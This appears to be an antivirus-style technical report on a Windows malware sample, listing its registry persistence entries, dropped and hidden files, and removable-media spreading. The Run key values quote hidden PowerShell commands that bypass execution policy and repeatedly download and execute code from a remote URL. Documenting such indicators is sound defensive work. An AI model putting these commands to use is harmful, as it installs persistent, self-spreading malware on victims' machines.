Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'nCloud' = 'cmd /c start /min powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [System.Reflection.Assembly]::Load([...
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'rCloud' = 'cmd /c start /min powershell -EP b -w hidden -noexit -C for(;;){try{IEX((new-object net.webclient).downloadstring('https://ide...
Creates or modifies the following files:
- %HOMEPATH%\Start Menu\Programs\Startup\Microsoft.lnk
Creates the following files on removable media:
- <Drive name for removable media>:\x.exe
- <Drive name for removable media>:\.lnk
Modifies file system:
Creates the following files:
- %TEMP%\aut1.tmp
- %TEMP%\Tr.exe
- %TEMP%\x.exe
- %TEMP%\Data.txt
Sets the 'hidden' attribute to the following files:
- <Drive name for removable media>:\x.exe
Deletes the following files:
- %TEMP%\aut1.tmp
- %TEMP%\Data.txt
Substitutes the following files:
- %TEMP%\Data.txt
Miscellaneous:
Creates and executes the following:
- '%TEMP%\Tr.exe'
